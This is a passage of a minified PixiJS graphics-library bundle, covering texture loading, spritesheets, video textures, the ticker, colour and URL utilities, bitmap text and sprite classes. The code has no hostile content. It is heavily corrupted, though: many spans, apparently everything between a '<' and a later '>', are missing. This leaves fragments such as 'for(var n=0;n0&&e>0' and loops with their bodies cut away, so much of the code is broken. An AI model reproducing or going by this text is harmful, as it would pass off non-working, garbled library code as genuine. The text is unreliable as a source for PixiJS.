ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function s(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var a=t("./BaseTexture"),u=n(a),h=t("../settings"),l=n(h),c=function(t){function e(){var r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:100,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:100,s=arguments[2],a=arguments[3];i(this,e);var u=o(this,t.call(this,null,s));return u.resolution=a||l.default.RESOLUTION,u.width=Math.ceil(r),u.height=Math.ceil(n),u.realWidth=u.width*u.resolution,u.realHeight=u.height*u.resolution,u.scaleMode=void 0!==s?s:l.default.SCALE_MODE,u.hasLoaded=!0,u._glRenderTargets={},u._canvasRenderTarget=null,u.valid=!1,u}return s(e,t),e.prototype.resize=function(t,e){t=Math.ceil(t),e=Math.ceil(e),t===this.width&&e===this.height||(this.valid=t>0&&e>0,this.width=t,this.height=e,this.realWidth=this.width*this.resolution,this.realHeight=this.height*this.resolution,this.valid&&this.emit("update",this))},e.prototype.destroy=function(){t.prototype.destroy.call(this,!0),this.renderer=null},e}(u.default);r.default=c},{"../settings":101,"./BaseTexture":112}],112:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function s(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var a=t("../utils"),u=t("../settings"),h=n(u),l=t("eventemitter3"),c=n(l),d=t("../utils/determineCrossOrigin"),f=n(d),p=t("bit-twiddle"),v=n(p),g=function(t){function e(r,n,s){i(this,e);var u=o(this,t.call(this));return u.uid=(0,a.uid)(),u.touched=0,u.resolution=s||h.default.RESOLUTION,u.width=100,u.height=100,u.realWidth=100,u.realHeight=100,u.scaleMode=void 0!==n?n:h.default.SCALE_MODE,u.hasLoaded=!1,u.isLoading=!1,u.source=null,u.origSource=null,u.imageType=null,u.sourceScale=1,u.premultipliedAlpha=!0,u.imageUrl=null,u.isPowerOfTwo=!1,u.mipmap=h.default.MIPMAP_TEXTURES,u.wrapMode=h.default.WRAP_MODE,u._glTextures={},u._enabled=0,u._virtalBoundId=-1,u._destroyed=!1,u.textureCacheIds=[],r&&u.loadSource(r),u}return s(e,t),e.prototype.update=function(){"svg"!==this.imageType&&(this.realWidth=this.source.naturalWidth||this.source.videoWidth||this.source.width,this.realHeight=this.source.naturalHeight||this.source.videoHeight||this.source.height,this._updateDimensions()),this.emit("update",this)},e.prototype._updateDimensions=function(){this.width=this.realWidth/this.resolution,this.height=this.realHeight/this.resolution,this.isPowerOfTwo=v.default.isPow2(this.realWidth)&&v.default.isPow2(this.realHeight)},e.prototype.loadSource=function(t){var e=this.isLoading;this.hasLoaded=!1,this.isLoading=!1,e&&this.source&&(this.source.onload=null,this.source.onerror=null);var r=!this.source;if(this.source=t,(t.src&&t.complete||t.getContext)&&t.width&&t.height)this._updateImageType(),"svg"===this.imageType?this._loadSvgSource():this._sourceLoaded(),r&&this.emit("loaded",this);else if(!t.getContext){this.isLoading=!0;var n=this;if(t.onload=function(){if(n._updateImageType(),t.onload=null,t.onerror=null,n.isLoading){if(n.isLoading=!1,n._sourceLoaded(),"svg"===n.imageType)return void n._loadSvgSource();n.emit("loaded",n)}},t.onerror=function(){t.onload=null,t.onerror=null,n.isLoading&&(n.isLoading=!1,n.emit("error",n))},t.complete&&t.src){if(t.onload=null,t.onerror=null,"svg"===n.imageType)return void n._loadSvgSource();this.isLoading=!1,t.width&&t.height?(this._sourceLoaded(),e&&this.emit("loaded",this)):e&&this.emit("error",this)}}},e.prototype._updateImageType=function(){if(this.imageUrl){var t=(0,a.decomposeDataUri)(this.imageUrl),e=void 0;if(t&&"image"===t.mediaType){var r=t.subType.split("+")[0];if(!(e=(0,a.getUrlFileExtension)("."+r)))throw new Error("Invalid image type in data URI.")}else(e=(0,a.getUrlFileExtension)(this.imageUrl))||(e="png");this.imageType=e}},e.prototype._loadSvgSource=function(){if("svg"===this.imageType){var t=(0,a.decomposeDataUri)(this.imageUrl);t?this._loadSvgSourceUsingDataUri(t):this._loadSvgSourceUsingXhr()}},e.prototype._loadSvgSourceUsingDataUri=function(t){var e=void 0;if("base64"===t.encoding){if(!atob)throw new Error("Your browser doesn't support base64 conversions.");e=atob(t.data)}else e=t.data;this._loadSvgSourceUsingString(e)},e.prototype._loadSvgSourceUsingXhr=function(){var t=this,e=new XMLHttpRequest;e.onload=function(){if(e.readyState!==e.DONE||200!==e.status)throw new Error("Failed to load SVG using XHR.");t._loadSvgSourceUsingString(e.response)},e.onerror=function(){return t.emit("error",t)},e.open("GET",this.imageUrl,!0),e.send()},e.prototype._loadSvgSourceUsingString=function(t){var r=(0,a.getSvgSize)(t),n=r.width,i=r.height;if(!n||!i)throw new Error("The SVG image must have width and height defined (in pixels), canvas API needs them.");this.realWidth=Math.round(n*this.sourceScale),this.realHeight=Math.round(i*this.sourceScale),this._updateDimensions();var o=document.createElement("canvas");o.width=this.realWidth,o.height=this.realHeight,o._pixiId="canvas_"+(0,a.uid)(),o.getContext("2d").drawImage(this.source,0,0,n,i,0,0,this.realWidth,this.realHeight),this.origSource=this.source,this.source=o,e.addToCache(this,o._pixiId),this.isLoading=!1,this._sourceLoaded(),this.emit("loaded",this)},e.prototype._sourceLoaded=function(){this.hasLoaded=!0,this.update()},e.prototype.destroy=function(){this.imageUrl&&(delete a.TextureCache[this.imageUrl],this.imageUrl=null,navigator.isCocoonJS||(this.source.src="")),this.source=null,this.dispose(),e.removeFromCache(this),this.textureCacheIds=null,this._destroyed=!0},e.prototype.dispose=function(){this.emit("dispose",this)},e.prototype.updateSourceImage=function(t){this.source.src=t,this.loadSource(this.source)},e.fromImage=function(t,r,n,i){var o=a.BaseTextureCache[t];if(!o){var s=new Image;void 0===r&&0!==t.indexOf("data:")?s.crossOrigin=(0,f.default)(t):r&&(s.crossOrigin="string"==typeof r?r:"anonymous"),o=new e(s,n), +o.imageUrl=t,i&&(o.sourceScale=i),o.resolution=(0,a.getResolutionOfUrl)(t),s.src=t,e.addToCache(o,t)}return o},e.fromCanvas=function(t,r){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"canvas";t._pixiId||(t._pixiId=n+"_"+(0,a.uid)());var i=a.BaseTextureCache[t._pixiId];return i||(i=new e(t,r),e.addToCache(i,t._pixiId)),i},e.from=function(t,r,n){if("string"==typeof t)return e.fromImage(t,void 0,r,n);if(t instanceof HTMLImageElement){var i=t.src,o=a.BaseTextureCache[i];return o||(o=new e(t,r),o.imageUrl=i,n&&(o.sourceScale=n),o.resolution=(0,a.getResolutionOfUrl)(i),e.addToCache(o,i)),o}return t instanceof HTMLCanvasElement?e.fromCanvas(t,r):t},e.addToCache=function(t,e){e&&(-1===t.textureCacheIds.indexOf(e)&&t.textureCacheIds.push(e),a.BaseTextureCache[e]=t)},e.removeFromCache=function(t){if("string"==typeof t){var e=a.BaseTextureCache[t];if(e){var r=e.textureCacheIds.indexOf(t);return r>-1&&e.textureCacheIds.splice(r,1),delete a.BaseTextureCache[t],e}}else if(t&&t.textureCacheIds){for(var n=0;n0&&e>0,this._frame.width=this.orig.width=t,this._frame.height=this.orig.height=e,r||this.baseTexture.resize(t,e),this._updateUvs()},e.create=function(t,r,n,i){return new e(new u.default(t,r,n,i))},e}(l.default);r.default=c},{"./BaseRenderTexture":111,"./Texture":115}],114:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(t,e){for(var r=0;r2&&void 0!==arguments[2]?arguments[2]:null;n(this,t),this.baseTexture=e,this.textures={},this.animations={},this.data=r,this.resolution=this._updateResolution(i||this.baseTexture.imageUrl),this._frames=this.data.frames,this._frameKeys=Object.keys(this._frames),this._batchIndex=0,this._callback=null}return i(t,null,[{key:"BATCH_SIZE",get:function(){return 1e3}}]),t.prototype._updateResolution=function(t){var e=this.data.meta.scale,r=(0,s.getResolutionOfUrl)(t,null);return null===r&&(r=void 0!==e?parseFloat(e):1),1!==r&&(this.baseTexture.resolution=r,this.baseTexture.update()),r},t.prototype.parse=function(e){this._batchIndex=0,this._callback=e,this._frameKeys.length<=t.BATCH_SIZE?(this._processFrames(0),this._processAnimations(),this._parseComplete()):this._nextBatch()},t.prototype._processFrames=function(e){for(var r=e,n=t.BATCH_SIZE,i=this.baseTexture.sourceScale;r-e=r.length)break;o=r[i++]}else{if(i=r.next(),i.done)break;o=i.value}var s=o;this.animations[e].push(this.textures[s])}}},t.prototype._parseComplete=function(){var t=this._callback;this._callback=null,this._batchIndex=0,t.call(this,this.textures)},t.prototype._nextBatch=function(){var e=this;this._processFrames(this._batchIndex*t.BATCH_SIZE),this._batchIndex++,setTimeout(function(){e._batchIndex*t.BATCH_SIZE0&&void 0!==arguments[0]&&arguments[0];for(var e in this.textures)this.textures[e].destroy();this._frames=null,this._frameKeys=null,this.data=null,this.textures=null,t&&this.baseTexture.destroy(),this.baseTexture=null},t}();r.default=a},{"../":65,"../utils":125}],115:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function s(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function a(t){t.destroy=function(){},t.on=function(){},t.once=function(){},t.emit=function(){}}r.__esModule=!0;var u=function(){function t(t,e){for(var r=0;r2&&void 0!==arguments[2]?arguments[2]:"canvas";return new e(l.default.fromCanvas(t,r,n))},e.fromVideo=function(t,r,n,i){return"string"==typeof t?e.fromVideoUrl(t,r,n,i):new e(d.default.fromVideo(t,r,i))},e.fromVideoUrl=function(t,r,n,i){return new e(d.default.fromUrl(t,r,n,i))},e.from=function(t){if("string"==typeof t){var r=m.TextureCache[t];if(!r){return null!==t.match(/\.(mp4|webm|ogg|h264|avi|mov)$/)?e.fromVideoUrl(t):e.fromImage(t)}return r}return t instanceof HTMLImageElement?new e(l.default.from(t)):t instanceof HTMLCanvasElement?e.fromCanvas(t,b.default.SCALE_MODE,"HTMLCanvasElement"):t instanceof HTMLVideoElement?e.fromVideo(t):t instanceof l.default?new e(t):t},e.fromLoader=function(t,r,n){var i=new l.default(t,void 0,(0,m.getResolutionOfUrl)(r)),o=new e(i);return i.imageUrl=r,n||(n=r),l.default.addToCache(o.baseTexture,n),e.addToCache(o,n),n!==r&&(l.default.addToCache(o.baseTexture,r),e.addToCache(o,r)),o},e.addToCache=function(t,e){e&&(-1===t.textureCacheIds.indexOf(e)&&t.textureCacheIds.push(e),m.TextureCache[e]=t)},e.removeFromCache=function(t){if("string"==typeof t){var e=m.TextureCache[t];if(e){var r=e.textureCacheIds.indexOf(t);return r>-1&&e.textureCacheIds.splice(r,1),delete m.TextureCache[t],e}}else if(t&&t.textureCacheIds){for(var n=0;nthis.baseTexture.width,s=r+i>this.baseTexture.height;if(o||s){var a=o&&s?"and":"or",u="X: "+e+" + "+n+" = "+(e+n)+" > "+this.baseTexture.width,h="Y: "+r+" + "+i+" = "+(r+i)+" > "+this.baseTexture.height;throw new Error("Texture Error: frame does not fit inside the base Texture dimensions: "+u+" "+a+" "+h)}this.valid=n&&i&&this.baseTexture.hasLoaded,this.trim||this.rotate||(this.orig=t),this.valid&&this._updateUvs()}},{key:"rotate",get:function(){return this._rotate},set:function(t){this._rotate=t,this.valid&&this._updateUvs()}},{key:"width",get:function(){return this.orig.width}},{key:"height",get:function(){return this.orig.height}}]),e}(g.default);r.default=x,x.EMPTY=new x(new l.default),a(x.EMPTY),a(x.EMPTY.baseTexture),x.WHITE=function(){var t=document.createElement("canvas");t.width=10,t.height=10;var e=t.getContext("2d");return e.fillStyle="white",e.fillRect(0,0,10,10),new x(new l.default(t))}(),a(x.WHITE),a(x.WHITE.baseTexture)},{"../math":70,"../settings":101,"../utils":125,"./BaseTexture":112,"./TextureUvs":117,"./VideoBaseTexture":118,eventemitter3:3}],116:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(t,e){for(var r=0;r2&&void 0!==arguments[2])||arguments[2];if(i(this,e),!r)throw new Error("No video source element specified.");(r.readyState===r.HAVE_ENOUGH_DATA||r.readyState===r.HAVE_FUTURE_DATA)&&r.width&&r.height&&(r.complete=!0);var a=o(this,t.call(this,r,n));return a.width=r.videoWidth,a.height=r.videoHeight,a._autoUpdate=!0,a._isAutoUpdating=!1,a.autoPlay=s,a.update=a.update.bind(a),a._onCanPlay=a._onCanPlay.bind(a),r.addEventListener("play",a._onPlayStart.bind(a)),r.addEventListener("pause",a._onPlayStop.bind(a)),a.hasLoaded=!1,a.__loaded=!1,a._isSourceReady()?a._onCanPlay():(r.addEventListener("canplay",a._onCanPlay),r.addEventListener("canplaythrough",a._onCanPlay)),a}return s(e,t),e.prototype._isSourcePlaying=function(){var t=this.source;return t.currentTime>0&&!1===t.paused&&!1===t.ended&&t.readyState>2},e.prototype._isSourceReady=function(){return 3===this.source.readyState||4===this.source.readyState},e.prototype._onPlayStart=function(){this.hasLoaded||this._onCanPlay(),!this._isAutoUpdating&&this.autoUpdate&&(d.shared.add(this.update,this,f.UPDATE_PRIORITY.HIGH),this._isAutoUpdating=!0)},e.prototype._onPlayStop=function(){this._isAutoUpdating&&(d.shared.remove(this.update,this),this._isAutoUpdating=!1)},e.prototype._onCanPlay=function(){this.hasLoaded=!0,this.source&&(this.source.removeEventListener("canplay",this._onCanPlay),this.source.removeEventListener("canplaythrough",this._onCanPlay),this.width=this.source.videoWidth,this.height=this.source.videoHeight,this.__loaded||(this.__loaded=!0,this.emit("loaded",this)),this._isSourcePlaying()?this._onPlayStart():this.autoPlay&&this.source.play())},e.prototype.destroy=function(){this._isAutoUpdating&&d.shared.remove(this.update,this),this.source&&this.source._pixiId&&(l.default.removeFromCache(this.source._pixiId),delete this.source._pixiId,this.source.pause(),this.source.src="",this.source.load()),t.prototype.destroy.call(this)},e.fromVideo=function(t,r,n){t._pixiId||(t._pixiId="video_"+(0,c.uid)());var i=c.BaseTextureCache[t._pixiId];return i||(i=new e(t,r,n),l.default.addToCache(i,t._pixiId)),i},e.fromUrl=function(t,r,n,i){var o=document.createElement("video");o.setAttribute("webkit-playsinline",""),o.setAttribute("playsinline","");var s=Array.isArray(t)?t[0].src||t[0]:t.src||t;if(void 0===n&&0!==s.indexOf("data:")?o.crossOrigin=(0,v.default)(s):n&&(o.crossOrigin="string"==typeof n?n:"anonymous"),Array.isArray(t))for(var u=0;u2&&void 0!==arguments[2]?arguments[2]:u.UPDATE_PRIORITY.NORMAL;return this._addListener(new l.default(t,e,r))},t.prototype.addOnce=function(t,e){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:u.UPDATE_PRIORITY.NORMAL;return this._addListener(new l.default(t,e,r,!0))},t.prototype._addListener=function(t){var e=this._head.next,r=this._head;if(e){for(;e;){if(t.priority>e.priority){t.connect(r);break}r=e,e=e.next}t.previous||t.connect(r)}else t.connect(r);return this._startIfPossible(),this},t.prototype.remove=function(t,e){for(var r=this._head.next;r;)r=r.match(t,e)?r.destroy():r.next;return this._head.next||this._cancelIfNeeded(),this},t.prototype.start=function(){this.started||(this.started=!0,this._requestIfNeeded())},t.prototype.stop=function(){this.started&&(this.started=!1,this._cancelIfNeeded())},t.prototype.destroy=function(){this.stop();for(var t=this._head.next;t;)t=t.destroy(!0);this._head.destroy(),this._head=null},t.prototype.update=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:performance.now(),e=void 0;if(t>this.lastTime){e=this.elapsedMS=t-this.lastTime,e>this._maxElapsedMS&&(e=this._maxElapsedMS),this.deltaTime=e*a.default.TARGET_FPMS*this.speed;for(var r=this._head,n=r.next;n;)n=n.emit(this.deltaTime);r.next||this._cancelIfNeeded()}else this.deltaTime=this.elapsedMS=0;this.lastTime=t},o(t,[{key:"FPS",get:function(){return 1e3/this.elapsedMS}},{key:"minFPS",get:function(){return 1e3/this._maxElapsedMS},set:function(t){var e=Math.min(Math.max(0,t)/1e3,a.default.TARGET_FPMS);this._maxElapsedMS=1/e}}]),t}();r.default=c},{"../const":46,"../settings":101,"./TickerListener":120}],120:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(e){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,o=arguments.length>3&&void 0!==arguments[3]&&arguments[3];n(this,t),this.fn=e,this.context=r,this.priority=i,this.once=o,this.next=null,this.previous=null,this._destroyed=!1}return t.prototype.match=function(t,e){return e=e||null,this.fn===t&&this.context===e},t.prototype.emit=function(t){this.fn&&(this.context?this.fn.call(this.context,t):this.fn(t));var e=this.next;return this.once&&this.destroy(!0),this._destroyed&&(this.next=null),e},t.prototype.connect=function(t){this.previous=t,t.next&&(t.next.previous=this),this.next=t.next,t.next=this},t.prototype.destroy=function(){var t=arguments.length>0&&void 0!==arguments[0]&&arguments[0];this._destroyed=!0,this.fn=null,this.context=null,this.previous&&(this.previous.next=this.next),this.next&&(this.next.previous=this.previous);var e=this.next;return this.next=t?null:e,this.previous=null,e},t}();r.default=i},{}],121:[function(t,e,r){"use strict";r.__esModule=!0,r.Ticker=r.shared=void 0;var n=t("./Ticker"),i=function(t){return t&&t.__esModule?t:{default:t}}(n),o=new i.default;o.autoStart=!0,o.destroy=function(){},r.shared=o,r.Ticker=i.default},{"./Ticker":119}],122:[function(t,e,r){"use strict";function n(){return!(!!navigator.platform&&/iPad|iPhone|iPod/.test(navigator.platform))}r.__esModule=!0,r.default=n},{}],123:[function(t,e,r){"use strict";function n(t){for(var e=6*t,r=new Uint16Array(e),n=0,i=0;n1&&void 0!==arguments[1]?arguments[1]:window.location;if(0===t.indexOf("data:"))return"";e=e||window.location,s||(s=document.createElement("a")),s.href=t,t=o.default.parse(s.href);var r=!t.port&&""===e.port||t.port===e.port;return t.hostname===e.hostname&&r&&t.protocol===e.protocol?"":"anonymous"}r.__esModule=!0,r.default=n;var i=t("url"),o=function(t){return t&&t.__esModule?t:{default:t}}(i),s=void 0},{url:38}],125:[function(t,e,r){"use strict";function n(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e.default=t,e}function i(t){return t&&t.__esModule?t:{default:t}}function o(){return++U}function s(t,e){return e=e||[],e[0]=(t>>16&255)/255,e[1]=(t>>8&255)/255,e[2]=(255&t)/255,e}function a(t){return t=t.toString(16),"#"+(t="000000".substr(0,6-t.length)+t)}function u(t){return(255*t[0]<<16)+(255*t[1]<<8)+(255*t[2]|0)}function h(t,e){var r=S.default.RETINA_PREFIX.exec(t);return r?parseFloat(r[1]):void 0!==e?e:1}function l(t){var e=w.DATA_URI.exec(t);if(e)return{mediaType:e[1]?e[1].toLowerCase():void 0,subType:e[2]?e[2].toLowerCase():void 0,charset:e[3]?e[3].toLowerCase():void 0,encoding:e[4]?e[4].toLowerCase():void 0,data:e[5]}}function c(t){var e=w.URL_FILE_EXTENSION.exec(t);if(e)return e[1].toLowerCase()}function d(t){var e=w.SVG_SIZE.exec(t),r={};return e&&(r[e[1]]=Math.round(parseFloat(e[3])),r[e[5]]=Math.round(parseFloat(e[7]))),r}function f(){X=!0}function p(t){if(!X){if(navigator.userAgent.toLowerCase().indexOf("chrome")>-1){var e=["\n %c %c %c PixiJS "+w.VERSION+" - ✰ "+t+" ✰ %c %c http://www.pixijs.com/ %c %c ♥%c♥%c♥ \n\n","background: #ff66a5; padding:5px 0;","background: #ff66a5; padding:5px 0;","color: #ff66a5; background: #030307; padding:5px 0;","background: #ff66a5; padding:5px 0;","background: #ffc3dc; padding:5px 0;","background: #ff66a5; padding:5px 0;","color: #ff2424; background: #fff; padding:5px 0;","color: #ff2424; background: #fff; padding:5px 0;","color: #ff2424; background: #fff; padding:5px 0;"];window.console.log.apply(console,e)}else window.console&&window.console.log("PixiJS "+w.VERSION+" - "+t+" - http://www.pixijs.com/");X=!0}}function v(){var t={stencil:!0,failIfMajorPerformanceCaveat:!0};try{if(!window.WebGLRenderingContext)return!1;var e=document.createElement("canvas"),r=e.getContext("webgl",t)||e.getContext("experimental-webgl",t),n=!(!r||!r.getContextAttributes().stencil);if(r){var i=r.getExtension("WEBGL_lose_context");i&&i.loseContext()}return r=null,n}catch(t){return!1}}function g(t){return 0===t?0:t<0?-1:1}function y(){var t=void 0;for(t in G)G[t].destroy();for(t in W)W[t].destroy()}function m(){var t=void 0;for(t in G)delete G[t];for(t in W)delete W[t]}function _(t,e){return H[e?1:0][t]}function b(t,e){if(1===e)return(255*e<<24)+t;if(0===e)return 0;var r=t>>16&255,n=t>>8&255,i=255&t;return r=r*e+.5|0,n=n*e+.5|0,i=i*e+.5|0,(255*e<<24)+(r<<16)+(n<<8)+i}function x(t,e,r,n){return r=r||new Float32Array(4),n||void 0===n?(r[0]=t[0]*e,r[1]=t[1]*e,r[2]=t[2]*e):(r[0]=t[0],r[1]=t[1],r[2]=t[2]),r[3]=e,r}function T(t,e,r,n){return r=r||new Float32Array(4),r[0]=(t>>16&255)/255,r[1]=(t>>8&255)/255,r[2]=(255&t)/255,(n||void 0===n)&&(r[0]*=e,r[1]*=e,r[2]*=e),r[3]=e,r}r.__esModule=!0,r.premultiplyBlendMode=r.BaseTextureCache=r.TextureCache=r.earcut=r.mixins=r.pluginTarget=r.EventEmitter=r.removeItems=r.isMobile=void 0,r.uid=o,r.hex2rgb=s,r.hex2string=a,r.rgb2hex=u,r.getResolutionOfUrl=h,r.decomposeDataUri=l,r.getUrlFileExtension=c,r.getSvgSize=d,r.skipHello=f,r.sayHello=p,r.isWebGLSupported=v,r.sign=g,r.destroyTextureCache=y,r.clearTextureCache=m,r.correctBlendMode=_,r.premultiplyTint=b,r.premultiplyRgba=x,r.premultiplyTintToRgba=T;var w=t("../const"),E=t("../settings"),S=i(E),O=t("eventemitter3"),M=i(O),P=t("./pluginTarget"),C=i(P),R=t("./mixin"),A=n(R),I=t("ismobilejs"),D=n(I),L=t("remove-array-items"),N=i(L),B=t("./mapPremultipliedBlendModes"),k=i(B),F=t("earcut"),j=i(F),U=0,X=!1;r.isMobile=D,r.removeItems=N.default,r.EventEmitter=M.default,r.pluginTarget=C.default,r.mixins=A,r.earcut=j.default;var G=r.TextureCache=Object.create(null),W=r.BaseTextureCache=Object.create(null),H=r.premultiplyBlendMode=(0,k.default)()},{"../const":46,"../settings":101,"./mapPremultipliedBlendModes":126,"./mixin":128,"./pluginTarget":129,earcut:2,eventemitter3:3,ismobilejs:4,"remove-array-items":31}],126:[function(t,e,r){"use strict";function n(){for(var t=[],e=[],r=0;r<32;r++)t[r]=r,e[r]=r;t[i.BLEND_MODES.NORMAL_NPM]=i.BLEND_MODES.NORMAL,t[i.BLEND_MODES.ADD_NPM]=i.BLEND_MODES.ADD,t[i.BLEND_MODES.SCREEN_NPM]=i.BLEND_MODES.SCREEN,e[i.BLEND_MODES.NORMAL]=i.BLEND_MODES.NORMAL_NPM,e[i.BLEND_MODES.ADD]=i.BLEND_MODES.ADD_NPM,e[i.BLEND_MODES.SCREEN]=i.BLEND_MODES.SCREEN_NPM;var n=[];return n.push(e),n.push(t),n}r.__esModule=!0,r.default=n;var i=t("../const")},{"../const":46}],127:[function(t,e,r){"use strict";function n(t){return o.default.tablet||o.default.phone?4:t}r.__esModule=!0,r.default=n;var i=t("ismobilejs"),o=function(t){return t&&t.__esModule?t:{default:t}}(i)},{ismobilejs:4}],128:[function(t,e,r){"use strict";function n(t,e){if(t&&e)for(var r=Object.keys(e),n=0;n1?this._fontStyle="italic":t.indexOf("oblique")>-1?this._fontStyle="oblique":this._fontStyle="normal",t.indexOf("small-caps")>-1?this._fontVariant="small-caps":this._fontVariant="normal";var e=t.split(" "),r=-1;this._fontSize=26;for(var i=0;i-1&&r=this._durations[this.currentFrame];)n-=this._durations[this.currentFrame]*i,this._currentTime+=i;this._currentTime+=n/this._durations[this.currentFrame]}else this._currentTime+=e;this._currentTime<0&&!this.loop?(this.gotoAndStop(0),this.onComplete&&this.onComplete()):this._currentTime>=this._textures.length&&!this.loop?(this.gotoAndStop(this._textures.length-1),this.onComplete&&this.onComplete()):r!==this.currentFrame&&(this.loop&&this.onLoop&&(this.animationSpeed>0&&this.currentFramer&&this.onLoop()),this.updateTexture())},e.prototype.updateTexture=function(){this._texture=this._textures[this.currentFrame],this._textureID=-1,this.cachedTint=16777215,this.updateAnchor&&this._anchor.copy(this._texture.defaultAnchor),this.onFrameChange&&this.onFrameChange(this.currentFrame)},e.prototype.destroy=function(e){this.stop(),t.prototype.destroy.call(this,e)},e.fromFrames=function(t){for(var r=[],n=0;n1&&void 0!==arguments[1]?arguments[1]:{};i(this,e);var s=o(this,t.call(this));return s._textWidth=0,s._textHeight=0,s._glyphs=[],s._font={tint:void 0!==n.tint?n.tint:16777215,align:n.align||"left",name:null,size:0},s.font=n.font,s._text=r,s._maxWidth=0,s._maxLineHeight=0,s._letterSpacing=0,s._anchor=new c.default(function(){s.dirty=!0},s,0,0),s.dirty=!1,s.updateText(),s}return s(e,t),e.prototype.updateText=function(){for(var t=e.fonts[this._font.name],r=this._font.size/t.size,n=new h.Point,i=[],o=[],s=this.text.replace(/(?:\r\n|\r)/g,"\n"),a=s.length,u=this._maxWidth*t.size/this._font.size,l=null,c=0,d=0,f=0,p=-1,v=0,g=0,y=0,m=0;m0&&n.x>u&&(++g,h.utils.removeItems(i,1+p-g,1+m-p),m=p,p=-1,o.push(v),d=Math.max(d,v),f++,n.x=0,n.y+=t.lineHeight,l=null))}else o.push(c),d=Math.max(d,c),++f,++g,n.x=0,n.y+=t.lineHeight,l=null}var T=s.charAt(s.length-1);"\r"!==T&&"\n"!==T&&(/(?:\s)/.test(T)&&(c=v),o.push(c),d=Math.max(d,c));for(var w=[],E=0;E<=f;E++){var S=0;"right"===this._font.align?S=d-o[E]:"center"===this._font.align&&(S=(d-o[E])/2),w.push(S)}for(var O=i.length,M=this.tint,P=0;P=0?t:16777215,this.dirty=!0}},{key:"align",get:function(){return this._font.align},set:function(t){this._font.align=t||"left",this.dirty=!0}},{key:"anchor",get:function(){return this._anchor},set:function(t){"number"==typeof t?this._anchor.set(t):this._anchor.copy(t)}},{key:"font",get:function(){return this._font},set:function(t){t&&("string"==typeof t?(t=t.split(" "),this._font.name=1===t.length?t[0]:t.slice(1).join(" "),this._font.size=t.length>=2?parseInt(t[0],10):e.fonts[this._font.name].size):(this._font.name=t.name,this._font.size="number"==typeof t.size?t.size:parseInt(t.size,10)),this.dirty=!0)}},{key:"text",get:function(){return this._text},set:function(t){t=t.toString()||" ",this._text!==t&&(this._text=t,this.dirty=!0)}},{key:"maxWidth",get:function(){return this._maxWidth},set:function(t){this._maxWidth!==t&&(this._maxWidth=t,this.dirty=!0)}},{key:"maxLineHeight",get:function(){return this.validate(),this._maxLineHeight}},{key:"textWidth",get:function(){return this.validate(),this._textWidth}},{key:"letterSpacing",get:function(){return this._letterSpacing},set:function(t){this._letterSpacing!==t&&(this._letterSpacing=t,this.dirty=!0)}},{key:"textHeight",get:function(){return this.validate(),this._textHeight}}]),e}(h.Container);r.default=v,v.fonts={}},{"../core":65,"../core/math/ObservablePoint":68,"../core/settings":101,"../core/utils":125}],137:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var s=function(){function t(t,e){for(var r=0;r1&&void 0!==arguments[1]?arguments[1]:100,s=arguments.length>2&&void 0!==arguments[2]?arguments[2]:100;n(this,e);var a=i(this,t.call(this,r));return a.tileTransform=new u.TransformStatic,a._width=o,a._height=s,a._canvasPattern=null,a.uvTransform=r.transform||new u.TextureMatrix(r),a.pluginName="tilingSprite",a.uvRespectAnchor=!1,a}return o(e,t),e.prototype._onTextureUpdate=function(){this.uvTransform&&(this.uvTransform.texture=this._texture),this.cachedTint=16777215},e.prototype._renderWebGL=function(t){var e=this._texture;e&&e.valid&&(this.tileTransform.updateLocalTransform(),this.uvTransform.update(),t.setObjectRenderer(t.plugins[this.pluginName]),t.plugins[this.pluginName].render(this))},e.prototype._renderCanvas=function(t){var 